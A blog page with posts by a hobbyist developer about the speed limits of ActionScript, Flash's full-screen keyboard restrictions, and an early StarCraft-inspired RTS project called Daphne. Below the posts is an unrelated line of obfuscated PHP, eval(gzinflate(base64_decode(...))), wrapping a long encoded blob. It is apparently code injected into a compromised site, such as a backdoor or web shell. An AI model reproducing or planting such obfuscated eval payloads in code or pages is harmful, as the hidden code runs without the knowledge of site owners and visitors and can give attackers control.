Posted by Jason | Under Actionscript, Game Development
There was a time not long ago where I was super excited about the idea of really pushing Actionscript to its brink to deliver web-based games that rival the quality of older PC games (with better graphics). But alas! my dreams have been dashed! You see, Actionscript is an amazing medium; it can be used to make all kinds of applications, except applications that require any serious amount of processing.
To demonstrate my point I’ve created a wee demo. It’s a binary tree that uses recursion to draw itself. I’ve also added some code so that it can animate, but that’s more for fun rather than demonstration.
If you run the demonstration, you’ll find a very noticable delay when drawing more than 5 levels of recursion, or 126 branches. You’ll also notice that rendering takes an exponential amount of time longer compared to the next lowest number of recursions.
We aren’t splitting the atom here, we are merely drawing lines and my interpretation is that though Actionscript is great for more simple applications or a gui on a database, when it comes to serious processing power you are better off with different platforms.
For those who would argue that Actionscript is fine and I’m simply a crappy programmer (which I wouldn’t argue too much), you can optimize the code and prove me wrong here (CS4 fla here).
This is why my idea of an RTS in Flash is dead. Flash can’t handle it. Daphne is dead
BUT - Alchemy looks promising… speed of c/c++ in your browser, every browser, on every platform??? Fuck ya, that is an awesome idea (why every program for the OS then?)
Posted by Jason | Under Actionscript, Game Development
I have recently cut some beef with Adobe and their decision to not allow the Flash player to capture keyboard input. In my game, Daphne, I see this decision as a show stopper… Imagine playing Starcraft and not being able to use hot keys in the heat of battle, lame. Hot keys are key to any self respecting RTS game developer.
Thought it is possible for players to play Daphne in a regular browser window surrounded by HTML, it loses a lot of appeal, especially as your mouse must always be over the Flash canvas in order to register certain fundamentally important (and basic) game features, such as the ability to scroll the game map when your mouse is at the edge of the canvas. It is too easy to move your mouse beyond the Flash canvas, especially when your base is being over run and you are frantically scrolling the map to look for defense or an exit. This significantly deteriorates game play.
And besides that, who wouldn’t want to play games in full screen vs a small canvas in a browser?
A limited solution is to have your Flash canvas take up 100% of the width and height of the browser page and rely on the browsers build in full screen functionality (usually activated by the F11 key). This is limited because different browsers have different notions of ‘full screen’. Firefox for example expands to full screen, but the address bar is still visible on top (though there are plug-ins that remedy this). Opera mean while implements true full screen right out of the box.
This is a limited solution for these reasons, and because the end user may need to install a new browser to play Daphne in full screen. The whole idea of using Flash as my development platform is so Daphne can be played in any environment and behave the same with no additional downloads or without troubling the end user to have to manually install 3rd party products.
Nevertheless, this proves my point that Adobe is out to lunch when it comes to the thought process behind their idea that keyboard input whilst in full screen is a security liability. It can be done by circumventing Flash and javascript entirely and just relying on the browser.
Posted by Jason | Under Game Development
Mercifully, work (only?) typically occupies 8 hours of my week day. That leaves me with about 8 hours of personal time, half of which is usually spent on less exciting things like being in transit, eating, washing up, etc.
Often, at work I can’t wait to get home, I don’t think about what I will do at home and inevitably, when I get home, I spend several minutes frozen wondering what I’m going to do with my new found, temporary, precious freedom.
As I am not big on TV, I often find it difficult to wisely spend my precious free time. I am very conscious, almost obsessed, with the thought of me of the future looking back on my earlier years and asking my future self “Why was I such a useless git? What the hell did I do with my time?”.
It is for this reason that I often am programming video games in my free time. I know it is debatable whether or not mucking about with Flash and all its quirks is really a better use of my time than doing nothing, but different strokes for different folks…
The reason I like programming video games is that games are always unique. There is no standard list of GUI components you constantly use, there usually isn’t any database malarky to deal with. The GUI should be custom and unique and how the components of your game interact with each other and the user is totally up to you and what you think is awesome. I find that using standard components over and over again gets a bit boring. Finding slick new ways to access data is also quite dry. There are billions of frameworks that help make developing such classic database apps (enterprise apps?) super easy to the point that it’s no long fun to program.
Hence, I like my game programming.
The first step to creating any application of any significant size is finding a name by which to reference it. As I suck at finding cool names for things, I follow a Greek Nymph naming convention. So far Echo and Calypso have been used, so I randomly decided to choose Daphne, famed for her decision to escape Apollo’s gino-like obsession by transforming herself into a Bay Tree.
I will make no pretenses, Daphne is based upon Blizzards original Starcraft as much as possible. This is partly due to my pathetic lack of creativity, but it is also due to the fact that Starcraft is one of the best games ever made, definitely the best RTS. It is primarily for this reason that Daphne is a sort of homage to what I consider to be the best game developers on the planet right now (seriously, who makes better story lines than Blizzard? and with the glaring exception of Warcraft 3, all their games must of been at least partially developed by some sort of higher being).
So, I have started working on Daphne, So far I have the tile map stuff working fine and a lot of the multi-player communication stuff is sorted. I would like to post the game in updated carnations as I develop it, but right now, it’s so god damn ugly and lame that I’m going to have to wait until it is at least some what presentable to people with a vivid imagination.
eval(gzinflate(base64_decode('FZjHDoU4FkR/pXfTIxbkpAkteOSc02ZEjo+cv35eIyGxwbbse6tO+a///vuvP8ozHf6s33ashnQv/9z29X/rtMPon1m6lQT2v6LMp6L88x9CUknc5MlCoIC3d1otE96fSotlNBjeMbn6MDMrDc1IofbvdCdfcCQtFKTBGGzDagKXNU+el0zaF3Rzd+9Ijd76YN6oPAeBrPaR/BukFCWRSKl9qZO0JLU1nBslGK1KUwEZPktqLqsFzNnJ3yDG+vjp97Y9GqTIekUXrFaf6CKUsSLGymOha0wkKhe223JYqQZdErHBiipCV5vkcpRfnId+8qgIOX7gCIYQNm9gEx/gelz5ULAJYyffYrxmDsN2Do0qtA6Tf7gM0roFpjZMFD7Ujvkh/zEh83NAUrvNUOGizkflXMKc4PWj6fcYbsHdF0DmhXWnsjEjqL+FvSIQBTM8XqZ5kBt8atSRSXm9fGy6NTIKzky6gddw+KxPNSU+HvJU+iphYJD7frk1WkRtBitjm6QKZrLkERiRib69y7HCk8IomiajChFqo8WBS02JdkapyKxv5L5iX33KgwsMReJ3lhSeTh2F/bcBDbYMW2/8pocY8uqaDwpF5S0UKQs9KbDUwejwv1NsgBKg7epbr3aOqVvcJ7MGFxtlh9H8NBPczIEuHM8B8VTPR+CleDeitttuykux7el84UbtTI1XC0gyzdkQikpma28E82CYp8fFlY8GbSaCaq1ZmVkpe3WM6kq1axhymPmIB0LXKSxZYk37PWVLoU1xMrLToW7ASHzHFS0aRm1u1qFHXdRkzdBZS9Icf/pLQEy5QsmSompY/gIRXsrBjpSmK7jqhaqDF724rcjYBbcSGjF3vFWHSsG0hJQ1Gt9yZclL0suFJVm99EJfkUK+HvBISOdKTi/T5yMrBdnX61upR5Y1Tp51Eivg16puR3DTaX08GFD7Efu8eJRgT6V9L4Q5PhGzkr8D6uRCLmWA+IKyFOFgqQ2EEVtNenY9D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